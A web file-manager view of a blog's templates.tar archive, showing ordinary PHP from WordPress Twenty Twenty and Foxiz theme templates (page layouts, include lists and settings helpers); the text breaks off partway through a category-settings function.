Gestionnaire de fichiers - Editer - /home/wwgoat/public_html/blog/templates.tar
Arrière
template-full-width.php 0000644 00000000312 14720701200 0011132 0 ustar 00 <?php /** * Template Name: Full Width Template * Template Post Type: post, page * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ get_template_part( 'singular' ); template-cover.php 0000644 00000000731 14720701200 0010176 0 ustar 00 <?php /** * Template Name: Cover Template * Template Post Type: post, page * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ get_header(); ?> <main id="site-content"> <?php if ( have_posts() ) { while ( have_posts() ) { the_post(); get_template_part( 'template-parts/content-cover' ); } } ?> </main><!-- #site-content --> <?php get_template_part( 'template-parts/footer-menus-widgets' ); ?> <?php get_footer(); page.php 0000644 00000012672 14720702672 0006210 0 ustar 00 <?php /** Don't load directly */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'foxiz_single_page' ) ) { function foxiz_single_page() { $page_id = get_the_ID(); $classes = array(); $classes[] = 'single-page'; $header_style = foxiz_get_page_header_style( $page_id ); $sidebar_name = foxiz_get_single_setting( 'sidebar_name', 'page_sidebar_name', $page_id ); $sidebar_position = foxiz_get_single_sidebar_position( 'sidebar_position', 'page_sidebar_position', $page_id ); $content_classes = 'rb-container edge-padding'; if ( 'none' === $sidebar_position ) { $sidebar_name = false; } if ( '-1' === (string) $header_style ) { $classes[] = 'none-header'; } if ( empty( $sidebar_name ) || ! is_active_sidebar( $sidebar_name ) ) { $classes[] = 'without-sidebar'; if ( foxiz_get_page_content_width() ) { $content_classes = 'rb-small-container edge-padding'; } } else { $classes[] = 'is-sidebar-' . esc_attr( $sidebar_position ); } if ( foxiz_is_wc_pages() ) { $content_classes = 'rb-container edge-padding'; } if ( foxiz_get_single_sticky_sidebar( 'page_' ) ) { $classes[] = 'sticky-sidebar'; } ?> <div class="<?php echo join( ' ', $classes ); ?>"> <?php if ( function_exists( 'foxiz_page_header_' . $header_style ) ) { call_user_func( 'foxiz_page_header_' . $header_style ); } ?> <div class="<?php echo esc_attr( $content_classes ); ?>"> <div class="grid-container"> <div class="s-ct"> <?php foxiz_single_simple_content(); foxiz_single_comment(); ?> </div> <?php foxiz_single_sidebar( $sidebar_name ); ?> </div> </div> </div> <?php } } if ( ! function_exists( 'foxiz_page_header_1' ) ) { function foxiz_page_header_1() { if ( ! foxiz_get_page_content_width() || foxiz_is_wc_pages() ) { $classes = 'rb-container edge-padding'; } else { $classes = 'rb-small-container edge-padding'; } ?> <header class="page-header page-header-1"> <div class="<?php echo esc_attr( $classes ); ?>"> <?php if ( foxiz_get_option( 'single_page_breadcrumb' ) ) { echo foxiz_get_breadcrumb( 's-breadcrumb' ); } if ( foxiz_is_wc_pages() && function_exists( 'woocommerce_breadcrumb' ) ) { woocommerce_breadcrumb(); } foxiz_single_title(); ?> </div> <?php if ( has_post_thumbnail() ) : ?> <div class="rb-container edge-padding"> <div class="page-featured"><?php the_post_thumbnail( 'foxiz_crop_o2', array( 'class' => 'featured-img' ) ); ?></div> </div> <?php endif; ?> </header> <?php } } if ( ! function_exists( 'foxiz_page_header_2' ) ) { function foxiz_page_header_2() { ?> <header class="page-header page-header-2"> <?php if ( has_post_thumbnail() ) : ?> <div class="page-featured-overlay"><?php the_post_thumbnail( '2048×2048', array( 'class' => 'featured-img' ) ); ?></div> <?php endif; ?> <div class="rb-container edge-padding"> <div class="page-header-content overlay-text"> <?php foxiz_single_title(); if ( foxiz_get_option( 'single_page_breadcrumb' ) ) { echo foxiz_get_breadcrumb( 'page-breadcrumb' ); } ?> </div> </div> </header> <?php } } if ( ! function_exists( 'foxiz_page_404' ) ) { /** * 404 page */ function foxiz_page_404() { $featured = foxiz_get_option( 'page_404_featured' ); $dark_featured = foxiz_get_option( 'page_404_dark_featured' ); $heading = foxiz_get_option( 'page_404_heading' ); $description = foxiz_get_option( 'page_404_description' ); $search = foxiz_get_option( 'page_404_search' ); if ( empty( $heading ) ) { $heading = foxiz_html__( 'Something\'s wrong here...', 'foxiz' ); } if ( empty( $description ) ) { $description = foxiz_html__( 'It looks like nothing was found at this location. The page you were looking for does not exist or was loading incorrectly.', 'foxiz' ); } ?> <div class=" page404-wrap rb-container edge-padding"> <div class="page404-inner"> <?php if ( ! empty( $featured['url'] ) ) : ?> <div class="page404-featured"> <?php if ( ! empty( $dark_featured['url'] ) ) : ?> <img data-mode="default" src="<?php echo esc_url( $featured['url'] ); ?>" alt="<?php echo esc_attr( $featured['alt'] ); ?>" height="<?php echo esc_attr( $featured['height'] ); ?>" width="<?php echo esc_attr( $featured['width'] ); ?>"> <img data-mode="dark" src="<?php echo esc_url( $dark_featured['url'] ); ?>" alt="<?php echo esc_attr( $dark_featured['alt'] ); ?>" height="<?php echo esc_attr( $dark_featured['height'] ); ?>" width="<?php echo esc_attr( $dark_featured['width'] ); ?>"> <?php else : ?> <img src="<?php echo esc_url( $featured['url'] ); ?>" alt="<?php echo esc_attr( $featured['alt'] ); ?>" height="<?php echo esc_attr( $featured['height'] ); ?>" width="<?php echo esc_attr( $featured['width'] ); ?>"> <?php endif; ?> </div> <?php endif; ?> <h1 class="page-title"><?php echo esc_html( $heading ); ?></h1> <p class="page404-description"><?php echo esc_html( $description ); ?></p> <?php if ( ! empty( $search ) ) { get_search_form(); } ?> <div class="page404-btn-wrap"> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" class="page404-btn is-btn"><?php foxiz_html_e( 'Return to Homepage', 'foxiz' ); ?></a> </div> </div> </div> <?php } } include-files.php 0000644 00000005156 14720702672 0010016 0 ustar 00 <?php /** Don't load directly */ if ( ! defined( 'ABSPATH' ) ) { exit; } $foxiz_file_paths = array( 'templates/template-helpers.php', 'templates/parts.php', 'templates/entry.php', 'templates/popup.php', 'templates/blog.php', 'templates/page.php', 'templates/ajax.php', 'templates/header/templates.php', 'templates/header/layouts.php', 'templates/header/transparent.php', 'templates/footer.php', /** single */ 'templates/single/templates.php', 'templates/single/reviews.php', 'templates/single/layouts.php', 'templates/single/footer.php', 'templates/single/related.php', 'templates/single/custom-post-type.php', 'templates/single/standard-1.php', 'templates/single/standard-2.php', 'templates/single/standard-3.php', 'templates/single/standard-4.php', 'templates/single/standard-5.php', 'templates/single/standard-6.php', 'templates/single/standard-7.php', 'templates/single/standard-8.php', 'templates/single/standard-9.php', 'templates/single/video-1.php', 'templates/single/video-2.php', 'templates/single/video-3.php', 'templates/single/video-4.php', 'templates/single/audio-1.php', 'templates/single/audio-2.php', 'templates/single/audio-3.php', 'templates/single/audio-4.php', 'templates/single/gallery-1.php', 'templates/single/gallery-2.php', 'templates/single/gallery-3.php', /** module */ 'templates/modules/classic.php', 'templates/modules/grid.php', 'templates/modules/list.php', 'templates/modules/overlay.php', 'templates/modules/category.php', 'templates/blocks/heading.php', 'templates/blocks/classic-1.php', 'templates/blocks/grid-1.php', 'templates/blocks/grid-2.php', 'templates/blocks/grid-small-1.php', 'templates/blocks/grid-box-1.php', 'templates/blocks/grid-box-2.php', 'templates/blocks/list-1.php', 'templates/blocks/list-2.php', 'templates/blocks/list-box-1.php', 'templates/blocks/list-box-2.php', 'templates/blocks/list-small-1.php', 'templates/blocks/list-small-2.php', 'templates/blocks/list-small-3.php', 'templates/blocks/hierarchical-1.php', 'templates/blocks/hierarchical-2.php', 'templates/blocks/hierarchical-3.php', 'templates/blocks/overlay-1.php', 'templates/blocks/overlay-2.php', 'templates/blocks/playlist.php', 'templates/blocks/quick-links.php', 'templates/blocks/breaking-news.php', 'templates/blocks/categories.php', 'templates/blocks/newsletter.php' ); /** * load file templates */ foreach ( $foxiz_file_paths as $foxiz_path ) { $foxiz_file = get_theme_file_path( $foxiz_path ); if ( file_exists( $foxiz_file ) ) { include_once $foxiz_file; } } template-helpers.php 0000644 00000112675 14720702672 0010553 0 ustar 00 <?php /** Don't load directly */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'foxiz_get_header_style' ) ) { /** * @return false|mixed|string|void */ function foxiz_get_header_style() { $header_style = foxiz_get_option( 'header_style' ); $template_style = 'rb_template'; if ( is_singular( 'post' ) ) { if ( rb_get_meta( 'header_template' ) ) { return $template_style; } $single_header_style = rb_get_meta( 'header_style' ); if ( empty( $single_header_style ) || 'default' === (string) $single_header_style ) { $single_header_style = foxiz_get_option( 'single_post_header_style' ); } if ( ! empty( $single_header_style ) && 'default' !== (string) $single_header_style ) { $header_style = $single_header_style; } } elseif ( is_page() ) { if ( rb_get_meta( 'header_template' ) ) { return $template_style; } $page_header_style = rb_get_meta( 'header_style' ); if ( ! empty( $page_header_style ) && 'default' !== (string) $page_header_style ) { $header_style = $page_header_style; } } elseif ( is_category() ) { global $wp_query; $data = get_option( 'foxiz_category_meta', array() ); $category_id = $wp_query->get_queried_object_id(); if ( ! empty( $data[ $category_id ]['header_template'] ) || foxiz_get_option( 'category_header_template' ) ) { return $template_style; } if ( ! empty( $data[ $category_id ]['header_style'] ) ) { $header_style = $data[ $category_id ]['header_style']; } else { if ( ! empty( $category_header_style ) ) { $header_style = $category_header_style; } } } elseif ( is_search() ) { if ( foxiz_get_option( 'search_header_template' ) ) { return $template_style; } $search_header_style = foxiz_get_option( 'search_header_style' ); if ( ! empty( $search_header_style ) ) { $header_style = $search_header_style; } } elseif ( is_home() ) { if ( foxiz_get_option( 'blog_header_template' ) ) { return $template_style; } $blog_header_style = foxiz_get_option( 'blog_header_style' ); if ( ! empty( $blog_header_style ) ) { $header_style = $blog_header_style; } } if ( empty( $header_style ) ) { $header_style = '1'; } return $header_style; } } if ( ! function_exists( 'foxiz_get_header_settings' ) ) { /** * @param $prefix * * @return array * get header settings */ function foxiz_get_header_settings( $prefix ) { $prefix = trim( $prefix ) . '_'; $settings = foxiz_get_option(); $settings['more'] = foxiz_get_option( $prefix . 'more' ); $settings['sub_scheme'] = foxiz_get_option( $prefix . 'sub_scheme' ); $settings['nav_style'] = foxiz_get_option( $prefix . 'nav_style' ); if ( is_singular() ) { $nav_style = rb_get_meta( 'nav_style' ); if ( ! empty( $nav_style ) && 'default' !== $nav_style ) { $settings['nav_style'] = $nav_style; } } elseif ( is_category() ) { $nav_style = foxiz_get_option( 'category_nav_style' ); if ( ! empty( $nav_style ) ) { $settings['nav_style'] = $nav_style; } } elseif ( is_search() ) { $nav_style = foxiz_get_option( 'search_nav_style' ); if ( ! empty( $nav_style ) ) { $settings['nav_style'] = $nav_style; } } elseif ( is_home() ) { $nav_style = foxiz_get_option( 'blog_nav_style' ); if ( ! empty( $nav_style ) ) { $settings['nav_style'] = $nav_style; } } $settings['header_socials'] = foxiz_get_option( $prefix . 'header_socials' ); if ( empty( $settings['transprent_mobile_logo']['url'] ) ) { $settings['transprent_mobile_logo'] = foxiz_get_option( 'transparent_retina_logo' ); } return $settings; } } if ( ! function_exists( 'foxiz_get_design_standard_block' ) ) { /** * @param array $settings * @param string $prefix * * @return array|mixed * get module settings */ function foxiz_get_design_standard_block( $settings = array(), $prefix = '' ) { if ( ! empty( $settings['design_override'] ) ) { return $settings; } if ( '_' !== substr( $prefix, - 1 ) ) { $prefix = $prefix . '_'; } if ( ! is_array( $settings ) ) { $settings = array(); } if ( empty( $settings['crop_size'] ) ) { $settings['crop_size'] = foxiz_get_option( $prefix . 'crop_size' ); } if ( empty( $settings['featured_position'] ) ) { $settings['featured_position'] = foxiz_get_option( $prefix . 'featured_position' ); } if ( empty( $settings['entry_category'] ) ) { $settings['entry_category'] = foxiz_get_option( $prefix . 'entry_category' ); } elseif ( '-1' === (string) $settings['entry_category'] ) { $settings['entry_category'] = false; } if ( empty( $settings['hide_category'] ) ) { $settings['hide_category'] = foxiz_get_option( $prefix . 'hide_category' ); } elseif ( '-1' === (string) $settings['hide_category'] ) { $settings['hide_category'] = false; } if ( ! empty( $settings['entry_meta_bar'] ) && '-1' === (string) $settings['entry_meta_bar'] ) { $settings['entry_meta'] = []; } else { if ( empty( $settings['entry_meta_bar'] ) || 'custom' !== (string) $settings['entry_meta_bar'] ) { $settings['entry_meta'] = foxiz_get_option( $prefix . 'entry_meta' ); } else { $settings['entry_meta'] = explode( ',', trim( strval( $settings['entry_meta'] ) ) ); $settings['entry_meta'] = array_map( 'trim', $settings['entry_meta'] ); } } if ( empty( $settings['tablet_hide_meta'] ) ) { $settings['tablet_hide_meta'] = foxiz_get_option( $prefix . 'tablet_hide_meta' ); } else { if ( '-1' !== (string) $settings['tablet_hide_meta'] ) { $settings['tablet_hide_meta'] = explode( ',', trim( strval( $settings['tablet_hide_meta'] ) ) ); $settings['tablet_hide_meta'] = array_map( 'trim', $settings['tablet_hide_meta'] ); } else { $settings['tablet_hide_meta'] = false; } } if ( empty( $settings['mobile_hide_meta'] ) ) { $settings['mobile_hide_meta'] = foxiz_get_option( $prefix . 'mobile_hide_meta' ); } else { if ( '-1' !== (string) $settings['mobile_hide_meta'] ) { $settings['mobile_hide_meta'] = explode( ',', trim( strval( $settings['mobile_hide_meta'] ) ) ); $settings['mobile_hide_meta'] = array_map( 'trim', $settings['mobile_hide_meta'] ); } else { $settings['mobile_hide_meta'] = false; } } if ( empty( $settings['review'] ) ) { $settings['review'] = foxiz_get_option( $prefix . 'review' ); } elseif ( '-1' === (string) $settings['review'] ) { $settings['review'] = false; } if ( empty( $settings['review_meta'] ) ) { $settings['review_meta'] = foxiz_get_option( $prefix . 'review_meta' ); } elseif ( '-1' === (string) $settings['review_meta'] ) { $settings['review_meta'] = false; } if ( empty( $settings['entry_format'] ) ) { $settings['entry_format'] = foxiz_get_option( $prefix . 'entry_format' ); } elseif ( '-1' === (string) $settings['entry_format'] ) { $settings['entry_format'] = false; } if ( empty( $settings['bookmark'] ) ) { $settings['bookmark'] = foxiz_get_option( $prefix . 'bookmark' ); } elseif ( '-1' === (string) $settings['bookmark'] ) { $settings['bookmark'] = false; } if ( empty( $settings['excerpt'] ) ) { $settings['excerpt_length'] = foxiz_get_option( $prefix . 'excerpt_length' ); $settings['excerpt_source'] = foxiz_get_option( $prefix . 'excerpt_source' ); } if ( empty( $settings['hide_excerpt'] ) ) { $settings['hide_excerpt'] = foxiz_get_option( $prefix . 'hide_excerpt' ); } elseif ( '-1' === (string) $settings['hide_excerpt'] ) { $settings['hide_excerpt'] = false; } if ( empty( $settings['readmore'] ) ) { $settings['readmore'] = foxiz_get_option( $prefix . 'readmore' ); } elseif ( '-1' === (string) $settings['readmore'] ) { $settings['readmore'] = false; } if ( ! empty( $settings['readmore'] ) ) { $settings['readmore'] = foxiz_get_option( 'readmore_label' ); if ( empty( $settings['readmore'] ) ) { $settings['readmore'] = foxiz_html__( 'Read More', 'foxiz' ); } else { /** make sure this string compatible with WPML plugins */ $settings['readmore'] = apply_filters( 'the_title_rss', $settings['readmore'], 10 ); } } if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = foxiz_get_option( $prefix . 'title_tag' ); } if ( empty( $settings['sub_title_tag'] ) ) { $settings['sub_title_tag'] = foxiz_get_option( $prefix . 'sub_title_tag' ); } if ( empty( $settings['sub_sub_title_tag'] ) ) { $settings['sub_sub_title_tag'] = foxiz_get_option( $prefix . 'sub_sub_title_tag' ); } if ( ! empty( $settings['sponsor_meta'] ) && '-1' === (string) $settings['sponsor_meta'] ) { $settings['sponsor_meta'] = false; } elseif ( empty( $settings['sponsor_meta'] ) ) { $settings['sponsor_meta'] = foxiz_get_option( $prefix . 'sponsor_meta' ); } if ( empty( $settings['title_classes'] ) ) { $settings['title_classes'] = foxiz_get_option( $prefix . 'title_classes' ); } if ( empty( $settings['counter'] ) ) { $settings['counter'] = foxiz_get_option( $prefix . 'counter' ); } elseif ( '-1' === (string) $settings['counter'] ) { $settings['counter'] = false; } if ( empty( $settings['box_style'] ) ) { $settings['box_style'] = foxiz_get_option( $prefix . 'box_style' ); } if ( empty( $settings['center_mode'] ) ) { $settings['center_mode'] = foxiz_get_option( $prefix . 'center_mode' ); } elseif ( '-1' === (string) $settings['center_mode'] ) { $settings['center_mode'] = false; } if ( empty( $settings['middle_mode'] ) ) { $settings['middle_mode'] = foxiz_get_option( $prefix . 'middle_mode' ); } if ( ! empty( $settings['slider'] ) && '-1' === (string) $settings['slider'] ) { $settings['slider'] = false; } if ( ! empty( $settings['carousel'] ) && '-1' === (string) $settings['carousel'] ) { $settings['carousel'] = false; } if ( ! empty( $settings['carousel_dot'] ) && '-1' === (string) $settings['carousel_dot'] ) { $settings['carousel_dot'] = false; } if ( ! empty( $settings['carousel_nav'] ) && '-1' === (string) $settings['carousel_nav'] ) { $settings['carousel_nav'] = false; } if ( empty( $settings['slider_play'] ) ) { $settings['slider_play'] = foxiz_get_option( 'slider_play' ); } elseif ( '-1' === (string) $settings['slider_play'] ) { $settings['slider_play'] = false; } if ( empty( $settings['slider_speed'] ) ) { $settings['slider_speed'] = foxiz_get_option( 'slider_speed' ); } if ( empty( $settings['slider_fmode'] ) ) { $settings['slider_fmode'] = foxiz_get_option( 'slider_fmode' ); } elseif ( '-1' === (string) $settings['slider_fmode'] ) { $settings['slider_fmode'] = false; } /** disable carousel & sliders */ if ( foxiz_is_amp() ) { $settings['carousel'] = false; $settings['slider'] = false; } return $settings; } } if ( ! function_exists( 'foxiz_get_design_builder_block' ) ) { /** * @param $settings * @param $prefix * * @return array|mixed */ function foxiz_get_design_builder_block( $settings ) { if ( ! is_array( $settings ) ) { $settings = array(); } if ( ! empty( $settings['entry_category'] ) && '-1' === (string) $settings['entry_category'] ) { $settings['entry_category'] = false; } if ( ! empty( $settings['entry_format'] ) && '-1' === (string) $settings['entry_format'] ) { $settings['entry_format'] = false; } if ( ! empty( $settings['entry_meta'] ) ) { $settings['entry_meta'] = explode( ',', trim( strval( $settings['entry_meta'] ) ) ); $settings['entry_meta'] = array_map( 'trim', $settings['entry_meta'] ); } if ( ! empty( $settings['tablet_hide_meta'] ) ) { if ( '-1' !== (string) $settings['tablet_hide_meta'] ) { $settings['tablet_hide_meta'] = explode( ',', trim( strval( $settings['tablet_hide_meta'] ) ) ); $settings['tablet_hide_meta'] = array_map( 'trim', $settings['tablet_hide_meta'] ); } else { $settings['tablet_hide_meta'] = false; } } if ( ! empty( $settings['mobile_hide_meta'] ) ) { if ( '-1' !== (string) $settings['mobile_hide_meta'] ) { $settings['mobile_hide_meta'] = explode( ',', trim( strval( $settings['mobile_hide_meta'] ) ) ); $settings['mobile_hide_meta'] = array_map( 'trim', $settings['mobile_hide_meta'] ); } else { $settings['mobile_hide_meta'] = false; } } if ( ! empty( $settings['review'] ) && ( '-1' === (string) $settings['review'] ) ) { $settings['review'] = false; } if ( ! empty( $settings['review_meta'] ) && ( '-1' === (string) $settings['review_meta'] ) ) { $settings['review_meta'] = false; } if ( ! empty( $settings['bookmark'] ) && ( '-1' === (string) $settings['bookmark'] ) ) { $settings['bookmark'] = false; } if ( ! empty( $settings['counter'] ) && ( '-1' === (string) $settings['counter'] ) ) { $settings['counter'] = false; } if ( empty( $settings['readmore'] ) || '-1' === (string) $settings['readmore'] ) { $settings['readmore'] = false; } else { $settings['readmore'] = foxiz_get_option( 'readmore_label' ); if ( empty( $settings['readmore'] ) ) { $settings['readmore'] = foxiz_html__( 'Read More', 'foxiz' ); } } if ( ! empty( $settings['sponsor_meta'] ) && ( '-1' === (string) $settings['sponsor_meta'] ) ) { $settings['sponsor_meta'] = false; } elseif ( empty( $settings['sponsor_meta'] ) ) { $settings['sponsor_meta'] = 1; } if ( ! empty( $settings['center_mode'] ) && ( '-1' === (string) $settings['center_mode'] ) ) { $settings['center_mode'] = false; } if ( ! empty( $settings['slider'] ) && '-1' === (string) $settings['slider'] ) { $settings['slider'] = false; } if ( ! empty( $settings['carousel'] ) && '-1' === (string) $settings['carousel'] ) { $settings['carousel'] = false; } if ( ! empty( $settings['carousel_dot'] ) && '-1' === (string) $settings['carousel_dot'] ) { $settings['carousel_dot'] = false; } if ( ! empty( $settings['carousel_nav'] ) && '-1' === (string) $settings['carousel_nav'] ) { $settings['carousel_nav'] = false; } if ( empty( $settings['slider_play'] ) ) { $settings['slider_play'] = foxiz_get_option( 'slider_play' ); } elseif ( '-1' === (string) $settings['slider_play'] ) { $settings['slider_play'] = false; } if ( empty( $settings['slider_speed'] ) ) { $settings['slider_speed'] = foxiz_get_option( 'slider_speed' ); } if ( empty( $settings['slider_fmode'] ) ) { $settings['slider_fmode'] = foxiz_get_option( 'slider_fmode' ); } elseif ( '-1' === (string) $settings['slider_fmode'] ) { $settings['slider_fmode'] = false; } /** disable carousel & sliders */ if ( foxiz_is_amp() ) { $settings['carousel'] = false; $settings['slider'] = false; } return $settings; } } if ( ! function_exists( 'foxiz_is_featured_image' ) ) { /** * @param string $size * * @return bool * check featured image */ function foxiz_is_featured_image( $size = 'full' ) { if ( ! has_post_thumbnail() ) { return false; } $thumbnail = get_the_post_thumbnail( null, $size ); if ( empty( $thumbnail ) ) { return false; } return true; } } if ( ! function_exists( 'foxiz_detect_dynamic_query' ) ) { /** * @param $settings * * @return mixed * foxiz_detect_query */ function foxiz_detect_dynamic_query( $settings ) { if ( ! empty( $settings['category'] ) && 'dynamic' === (string) $settings['category'] ) { if ( is_category() ) { global $wp_query; $settings['category'] = $wp_query->get_queried_object_id(); } } if ( empty( $settings['unique'] ) || '-1' === (string) $settings['unique'] ) { $settings['unique'] = false; } return $settings; } } if ( ! function_exists( 'foxiz_get_single_setting' ) ) { /** * @param $name * @param string $opt_name * @param string $post_id * * @return false|mixed|void */ function foxiz_get_single_setting( $name, $opt_name = '', $post_id = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $setting = rb_get_meta( $name, $post_id ); if ( empty( $setting ) || 'default' === $setting ) { if ( empty( $opt_name ) ) { $opt_name = 'single_post_' . $name; } $setting = foxiz_get_option( $opt_name ); } if ( ! is_array( $setting ) && '-1' === (string) $setting ) { return false; } return $setting; } } if ( ! function_exists( 'foxiz_is_review_post' ) ) { /** * @param string $post_id * * @return bool */ function foxiz_is_review_post( $post_id = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $review = rb_get_meta( 'review', $post_id ); if ( empty( $review ) || '-1' === (string) $review ) { return false; } return true; } } if ( ! function_exists( 'foxiz_get_review_settings' ) ) { /** * @param string $post_id * * @return array|false */ function foxiz_get_review_settings( $post_id = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } if ( ! foxiz_is_review_post( $post_id ) ) { return false; } $settings = array( 'average' => '', 'title' => rb_get_meta( 'review_title', $post_id ), 'type' => foxiz_get_single_setting( 'review_type' ), 'criteria' => rb_get_meta( 'review_criteria', $post_id ), 'user' => foxiz_get_single_setting( 'user_can_review' ), 'image' => foxiz_get_single_setting( 'review_image' ), 'meta' => rb_get_meta( 'review_meta', $post_id ), 'pros' => rb_get_meta( 'review_pros', $post_id ), 'cons' => rb_get_meta( 'review_cons', $post_id ), 'summary' => rb_get_meta( 'review_summary', $post_id ), 'button' => rb_get_meta( 'review_button', $post_id ), 'destination' => rb_get_meta( 'review_destination', $post_id ), 'price' => rb_get_meta( 'review_price', $post_id ), 'currency' => rb_get_meta( 'review_currency', $post_id ), 'schema' => foxiz_get_single_setting( 'review_schema' ), 'user_rating' => get_post_meta( $post_id, 'foxiz_user_rating', true ) ); if ( is_array( $settings['criteria'] ) ) { $index = 0; $total = 0; foreach ( $settings['criteria'] as $item ) { if ( ! empty( $item['rating'] ) ) { $value = floatval( $item['rating'] ); if ( empty( $settings['type'] ) || 'star' === $settings['type'] ) { if ( $value > 5 ) { $value = 5; } } else { if ( $value > 10 ) { $value = 10; } } $total += $value; $index ++; } } if ( ! empty( $index ) && ! empty( $total ) ) { $settings['average'] = round( $total / $index, 1 ); } } return $settings; } } if ( ! function_exists( 'foxiz_get_single_sidebar_position' ) ) { /** * @param string $name * @param string $opt_name * @param string $post_id * * @return false|mixed|string|void */ function foxiz_get_single_sidebar_position( $name = 'sidebar_position', $opt_name = '', $post_id = '' ) { if ( foxiz_is_amp() && foxiz_get_option( 'amp_disable_single_sidebar' ) ) { return 'none'; } if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $setting = ''; if ( ! empty( $name ) ) { $setting = rb_get_meta( $name, $post_id ); } if ( empty( $setting ) || 'default' === $setting ) { if ( empty( $opt_name ) ) { $opt_name = 'single_post_' . $name; } $setting = foxiz_get_option( $opt_name ); } if ( empty( $setting ) || 'default' === $setting ) { $setting = foxiz_get_option( 'global_sidebar_position' ); } return $setting; } } if ( ! function_exists( 'foxiz_get_single_layout' ) ) { /** * @return false|mixed|void */ function foxiz_get_single_layout() { $post_format = get_post_format( get_the_ID() ); switch ( $post_format ) { case 'video' : $layout = foxiz_get_single_setting( 'video_layout' ); break; case 'audio' : $layout = foxiz_get_single_setting( 'audio_layout' ); break; case 'gallery' : $layout = foxiz_get_single_setting( 'gallery_layout' ); break; default: $layout = foxiz_get_single_setting( 'layout' ); } if ( empty( $layout ) ) { $layout = 'standard_1'; } return $layout; } } if ( ! function_exists( 'foxiz_is_sponsored_post' ) ) { /** * @param string $post_id * * @return bool */ function foxiz_is_sponsored_post( $post_id = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $sponsor = rb_get_meta( 'sponsor_post', $post_id ); if ( ! empty( $sponsor ) && '1' === (string) $sponsor ) { return true; } return false; } } if ( ! function_exists( 'foxiz_get_related_data' ) ) { /** * @param array $settings * * @return WP_Query */ function foxiz_get_related_data( $settings = array() ) { $params = array( 'no_found_rows' => true, ); if ( ! empty( $settings['total'] ) ) { $params['posts_per_page'] = $settings['total']; } if ( ! empty( $settings['offset'] ) ) { $params['offset'] = $settings['offset']; } if ( ! empty( $settings['ids'] ) ) { $params['post_in'] = esc_attr( $settings['ids'] ); } if ( ! empty( $settings['post_id'] ) ) { $params['post_id'] = esc_attr( $settings['post_id'] ); } return foxiz_query_related( $params ); } } if ( ! function_exists( 'foxiz_get_single_sticky_sidebar' ) ) { /** * @param string $prefix * * @return bool */ function foxiz_get_single_sticky_sidebar( $prefix = 'single_post_' ) { $setting = foxiz_get_option( $prefix . 'sticky_sidebar' ); if ( empty( $setting ) || 'default' === $setting ) { $setting = foxiz_get_option( 'sticky_sidebar' ); }; if ( '1' === (string) $setting ) { return true; } return false; } } if ( ! function_exists( 'foxiz_get_category_page_settings' ) ) { function foxiz_get_category_page_settings( $category_id = '' ) { if ( ! is_category() ) { return false; } if ( empty( $category_id ) ) { global $wp_query; $category_id = $wp_query->get_queried_object_id(); } $prefix = 'category_'; $data = get_option( 'foxiz_category_meta', array() ); if ( ! isset( $data[ $category_id ] ) ) { $data[ $category_id ] = array(); } $settings = $data[ $category_id ]; $settings['category'] = $category_id; $settings['category_name'] = get_cat_name( $category_id ); $settings['uuid'] = 'uid_c' . $category_id; if ( empty( $settings['category_header'] ) ) { $settings['category_header'] = foxiz_get_option( $prefix . 'category_header' ); } if ( empty( $settings['breadcrumb'] ) ) { $settings['breadcrumb'] = foxiz_get_option( $prefix . 'breadcrumb' ); } if ( '-1' === (string) $settings['breadcrumb'] ) { $settings['breadcrumb'] = false; } if ( empty( $settings['featured_image'] ) || ! is_array( $settings['featured_image'] ) || ! count( $settings['featured_image'] ) ) { $settings['featured_image'] = foxiz_get_option( $prefix . 'featured_image' ); if ( ! empty( $settings['featured_image'] ) ) { $settings['featured_image'] = explode( ',', $settings['featured_image'] ); } } if ( empty( $settings['pattern'] ) ) { $settings['pattern'] = foxiz_get_option( $prefix . 'pattern' ); } if ( empty( $settings['subcategory'] ) ) { $settings['subcategory'] = foxiz_get_option( $prefix . 'subcategory' ); } if ( '-1' === (string) $settings['subcategory'] ) { $settings['subcategory'] = false; } if ( empty( $settings['template'] ) ) { $settings['template'] = foxiz_get_option( $prefix . 'template' ); } if ( empty( $settings['template_display'] ) ) { $settings['template_display'] = foxiz_get_option( $prefix . 'template_display' ); } if ( empty( $settings['template_global'] ) ) { $settings['template_global'] = foxiz_get_option( $prefix . 'template_global' ); } if ( empty( $settings['blog_heading'] ) ) { $settings['blog_heading'] = foxiz_get_option( $prefix . 'blog_heading' ); } if ( empty( $settings['blog_heading_layout'] ) ) { $settings['blog_heading_layout'] = foxiz_get_option( $prefix . 'blog_heading_layout' ); } if ( empty( $settings['blog_heading_tag'] ) ) { $settings['blog_heading_tag'] = foxiz_get_option( $prefix . 'blog_heading_tag' ); } if ( empty( $settings['posts_per_page'] ) ) { $settings['posts_per_page'] = foxiz_get_option( $prefix . 'posts_per_page' ); } if ( empty( $settings['pagination'] ) ) { $settings['pagination'] = foxiz_get_option( $prefix . 'pagination' ); } if ( empty( $settings['layout'] ) ) { $settings['layout'] = foxiz_get_option( $prefix . 'layout' ); } if ( empty( $settings['columns'] ) ) { $settings['columns'] = foxiz_get_option( $prefix . 'columns' ); } if ( empty( $settings['columns_tablet'] ) ) { $settings['columns_tablet'] = foxiz_get_option( $prefix . 'columns_tablet' ); } if ( empty( $settings['columns_mobile'] ) ) { $settings['columns_mobile'] = foxiz_get_option( $prefix . 'columns_mobile' ); } if ( empty( $settings['column_gap'] ) ) { $settings['column_gap'] = foxiz_get_option( $prefix . 'column_gap' ); } if ( empty( $settings['sidebar_position'] ) ) { $settings['sidebar_position'] = foxiz_get_option( $prefix . 'sidebar_position' ); } if ( empty( $settings['sidebar_name'] ) || 'default' === $settings['sidebar_name'] ) { $settings['sidebar_name'] = foxiz_get_option( $prefix . 'sidebar_name' ); } if ( empty( $settings['sticky_sidebar'] ) ) { $settings['sticky_sidebar'] = foxiz_get_option( $prefix . 'sticky_sidebar' ); if ( empty( $settings['sticky_sidebar'] ) ) { $settings['sticky_sidebar'] = foxiz_get_option( 'sticky_sidebar' ); } } if ( '-1' === (string) $settings['sticky_sidebar'] ) { $settings['sticky_sidebar'] = false; } 